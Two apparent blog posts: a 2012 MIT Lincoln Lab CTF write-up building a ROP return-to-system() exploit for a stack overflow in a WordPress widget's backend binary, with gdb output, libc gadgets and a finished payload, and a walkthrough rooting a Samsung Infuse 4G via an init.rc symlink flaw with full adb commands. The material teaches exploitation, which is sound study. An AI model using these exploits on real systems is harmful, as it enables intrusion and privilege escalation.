MIT/LL CTF Writeup (Ticket Server)

This past weekend, I led team ” ” in the 2012 MIT Lincoln Lab CTF where we captured the flag for being the most offensive team, specifically, performing the most unique compromises of team + service.  No, literally, we won the flag:


Team ” “, from left to right: Michael Weissbacher, Amat Cama, Me, Travis Donnell, Ryan Rickert

One of the services we were tasked to install was a client-facing WordPress widget called Ticket that dispatched out to a binary backend.  In order to interact with the widget, users were required to first authenticate with the site using OpenID.

The widget kept a local database of users registered with the service in the text file /usr/share/wordpress/data.txt, where entries were stored in the format:

<display name>:<hashed WordPress password>:<CC number>

Users’ PII served as flags in the competition, so access to this data was coveted.  However, this part was simple as the database installed itself readable to the web root.  What we really wanted was a shell.

Adding and updating one’s own user entry in the database was handled by the following Ruby code listening as a Sinatra server on port 9494:

post '/ticket' do
  text ="/usr/share/wordpress/data.txt")
  if (text.match(/^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/)
     text.gsub!( /^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/ , (params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn'])))
    text.concat(params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn'] + "\n")
  end"/usr/share/wordpress/data.txt", "w") {|file| file.write text}
  redirect url

Existing user:password:ccn tuples would be updated and new accounts would be appended to the end of the file.  Note that each field of data is arbitrarily controlled by the user.

Subsequent visits to the WordPress site would trigger the widget to perform a lookup in the text file for the currently logged in user, which was handled by a binary named ‘movie’. The resulting command was crafted like:

movie 'displayname:$H$ashedpassword'

where the display name was sanitized by the following regex:

preg_replace("/[^a-zA-Z0-9 ]+/", "", $name);

A match in the database would prompt the binary to return a generated token based on the user’s information.  However, what happens if we insert an unreasonably long entry in the database and then match it?

sysadmin@ctf-portal:~/ticket$ ./movie 'a:b'
Segmentation fault

Yup, memory corruption!  The application fails to check the length of the database entry before copying it onto the stack, resulting in a fairly straightforward stack-based overflow (which allows null bytes!).  Control over the return pointer / RIP was achieved at offset 1048:

sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie
Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done.
(gdb) run 'a:b'
Starting program: /home/sysadmin/ticket/movie 'a:b'

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400e75 in confirmation ()
(gdb) x/i $rip
=> 0x400e75 :	retq
(gdb) x/xg $rsp
0x7fffffffe5c8:	0x4242424242424242

The game VMs were configured with NX enabled and ASLR disabled, however we still needed to write the exploit without hardcoded stack addresses due to the differing environments of each team.

For a separate command injection exploit in the competition, our payload method was just to inject a wget + chmod + execute command which fetched a reverse shell from one of our boxes.  With ASLR disabled, it was decided the simplest path for this exploit would be just to return to system() and execute the same command string, saving the trouble of writing shellcode and marking a region of memory (writable-)executable.

Since the x86_64 calling convention on Linux passes arguments via registers starting at RDI, we’d need to ROP a little to store the address of our command string in RDI before calling system() without using hardcoded stack addresses.  So we fire up ROPeMe and slice apart libc:

sysadmin@ctf-portal:~/ropeme64$ ./ropshell64
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> generate /lib/x86_64-linux-gnu/ 4
Generating gadgets for /lib/x86_64-linux-gnu/ with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/2
Processing code block 2/2
Generated 22371 gadgets
Dumping asm gadgets to file: ...

An initial search for gadgets that manipulate RDI produced some nice results:

ROPeMe> search mov rdi %
Searching for ROP gadget:  mov rdi % with constraints: []
0x163e02L: mov rdi [rdi+0x10] ; test rdi rdi ; jnz 0x163dfd ; pop rbx ;;
0x460d9L: mov rdi [rdi+0x68] ; xor eax eax ;;
0x6f2dcL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; mov rax 0xffffffffffffffff ;;
0x6f38cL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; xor eax eax ;;
0x487f0L: mov rdi rdx ; mov [rsi] al ; jnz 0x487d0 ; mov rax rsi ;;
0x11a194L: mov rdi rsp ; call rax ; add rsp 0x38 ;;
0x127d10L: mov rdi rsp ; call rdx ; add rsp 0x38 ;;

libc is nice enough to store the current RSP address to RDI and immediately CALL the value of either RAX or RDX.  If we store our command string directly at the end of the ROP chain, RDI should contain the correct address upon time of CALL.  We just need to find a “POP RAX” gadget to store the address of system() to and our exploit is complete.

ROPeMe> search pop rax
Searching for ROP gadget:  pop rax with constraints: []
0x23950L: pop rax ;;
0x476e7L: pop rax ;;
0x476e8L: pop rax ;;

The first one should do fine.  Add each gadget address to the base address of libc (0x7ffff6336000), obtained by inspecting /proc/pid/maps like so:

sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie
Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x400e7a
(gdb) run
Starting program: /home/sysadmin/ticket/movie 

Breakpoint 1, 0x0000000000400e7a in main ()
(gdb) shell
sysadmin@ctf-portal:~/ticket$ ps aux | grep movie
sysadmin  2662  0.2  1.0  50372 11160 pts/0    S    20:05   0:00 gdb --quiet ./movie
sysadmin  2664  0.0  0.0   4160   352 pts/0    t    20:05   0:00 /home/sysadmin/ticket/movie
sysadmin  2722  0.0  0.0   8104   920 pts/0    S+   20:05   0:00 grep --color=auto movie
sysadmin@ctf-portal:~/ticket$ grep libc /proc/2664/maps
7ffff7a1b000-7ffff7bd0000 r-xp 00000000 08:01 106                        /lib/x86_64-linux-gnu/
7ffff7bd0000-7ffff7dcf000 ---p 001b5000 08:01 106                        /lib/x86_64-linux-gnu/
7ffff7dcf000-7ffff7dd3000 r--p 001b4000 08:01 106                        /lib/x86_64-linux-gnu/
7ffff7dd3000-7ffff7dd5000 rw-p 001b8000 08:01 106                        /lib/x86_64-linux-gnu/

And our finished PoC looks like:

sysadmin@ctf-portal:~/ticket$ sudo su -
root@ctf-portal:~# perl -e'print "a:b:" . "A"x1044 . "\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . "\x60\x06\xa6\xf7\xff\x7f\x00\x00" . "\x94\x51\xb3\xf7\xff\x7f\x00\x00" . "/bin/sh"' > /usr/share/wordpress/data.txt
root@ctf-portal:~# logout
sysadmin@ctf-portal:~/ticket$ ./movie 'a:b'

Dissecting the exploit string for greater clarity:

Dissecting the exploit string for greater clarity:
"a:b:" . "A"x1044 .                  # Padding
"\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . # POP RAX
"\x60\x06\xa6\xf7\xff\x7f\x00\x00" . # &system
"\x94\x51\xb3\xf7\xff\x7f\x00\x00" . # MOV RDI, RSP; CALL RAX
"/bin/sh"                            # String literal "/bin/sh"

The actual exploit string required delivery over HTTP POST and a second request to the home page to trigger the exploit.

Rooting the Samsung Infuse 4G

I received a Samsung Infuse 4G this year for Christmas, and one of the first questions I had was how to let this bad boy run free.  Doing a little searching around, it looked like the device was already rootable by the RageAgainstTheCage exploit by the Android Exploid Crew, but of course using an already-written, pre-compiled exploit is too boring.

Note, before we even begin, the device should be placed into USB debugging mode so we can interact with it from a shell (via the ADB – Android Debug Bridge).

After some snooping around, I noticed that the device was vulnerable to a flaw similar to the ones Dan Rosenberg found with the Droid 3 and Admire.  In the init.rc script (which is run at startup as root), we see the following command:

# Permission for WMDRM sample.hds file
chmod 0777  /data/data/.drm/.wmdrm/sample.hds

The sample.hds file doesn’t actually exist, but that fact is irrelevant to the situation.  The interesting thing here is that the .wmdrm directory is also 0777, so we have full control over its contents.  Let’s create a symlink to /data where sample.hds is supposed to be and reboot:

$ ln -s /data /data/data/.drm/.wmdrm/sample.hds
$ ls -l /data/data/.drm/.wmdrm/sample.hds
lrwxrwxrwx shell    shell             2012-01-02 20:13 sample.hds -> /data
$ exit
sh-4.1$ ./adb reboot
sh-4.1$ ./adb shell
$ ls -l
drwxrwx--x system   system            2012-01-02 20:14 dbdata
dr-x------ root     root              2012-01-02 20:14 config
drwxrwx--- system   cache             2012-01-02 20:14 cache
drwxrwx--x radio    radio             2012-01-02 20:14 efs
lrwxrwxrwx root     root              2012-01-02 20:14 sdcard -> /mnt/sdcard
drwxr-xr-x root     root              2012-01-02 20:14 acct
drwxrwxr-x root     system            2012-01-02 20:14 mnt
lrwxrwxrwx root     root              2012-01-02 20:14 d -> /sys/kernel/debug
lrwxrwxrwx root     root              2012-01-02 20:14 etc -> /system/etc
drwxr-xr-x root     root              2012-01-02 20:14 system
drwxrwxrwx system   system            2012-01-02 20:14 data
drwxr-xr-x root     root              1969-12-31 19:00 sys
drwxr-xr-x root     root              2011-08-03 23:33 modules
dr-xr-xr-x root     root              1969-12-31 19:00 proc
drwxr-xr-x root     root              2012-01-02 20:14 dev
-rwxr-xr-x root     root        12127 2010-08-12 10:06 recovery.rc
-rwxr-xr-x root     root          945 2010-08-27 09:41 lpm.rc
-rw-r--r-- root     root        25100 2011-03-17 02:00 init.rc
drwxr-xr-x root     root              2011-08-03 23:33 res
drwxr-xr-x root     root              2011-08-03 23:33 lib
drwxr-xr-x root     root              2011-08-03 23:33 sbin
-rw-r--r-- root     root          118 2011-08-03 23:13 default.prop
-rw-r--r-- root     root         1677 2010-07-06 15:13 init.goldfish.rc
-rw-r--r-- root     root         2378 2010-12-14 23:01 fota.rc
-rwxr-xr-x root     root          379 2010-05-28 03:06 init.smdkc110.rc
-rwxr-xr-x root     root       133016 2011-08-03 23:19 init

Our symlink was followed, and now the /data directory is 0777!  From here we’ll create a /data/local.prop file with a configuration setting to not drop privileges when spawning a shell:

$ echo ro.kernel.qemu=1 > /data/local.prop
$ exit
sh-4.1$ ./adb reboot

After restarting, the phone refuses to boot and vibrates a bunch due to parsing the ro.kernel.qemu property.  We told the device it was running in an emulator when it’s actually still running on hardware, leading to confusion.  However, we are still able to spawn a shell with adb:

sh-4.1$ ./adb shell
# id
uid=0(root) gid=2000(shell) groups=1007(log)

Success!  For persistence, we’ll follow the typical song and dance and copy over some binaries and install the Superuser app:

# mount -o rw,remount /dev/stl9 /system
# exit
sh-4.1$ ./adb push su /system/bin
233 KB/s (26264 bytes in 0.109s)
sh-4.1$ ./adb push busybox /system/bin
500 KB/s (1867568 bytes in 3.646s)
sh-4.1$ ./adb install Superuser.apk
449 KB/s (196521 bytes in 0.427s)
    pkg: /data/local/tmp/Superuser.apk
sh-4.1$ ./adb shell
# chmod 4755 /system/bin/su /system/bin/busybox

Clean up our files and reboot the device:

# rm /data/local.prop
# rm /data/data/.drm/.wmdrm/sample.hds
# reboot

Running `su` in the adb shell, as well as apps for rooted phones, will now prompt the user (on the phone itself) to grant root privileges to the process.  This selection can be remembered for future use.

A one-click root script for Linux is available here:  If this exploit works for other phones, contact me and I’ll update the post.

Thanks to Dan Rosenberg for his tips and guidance throughout the process.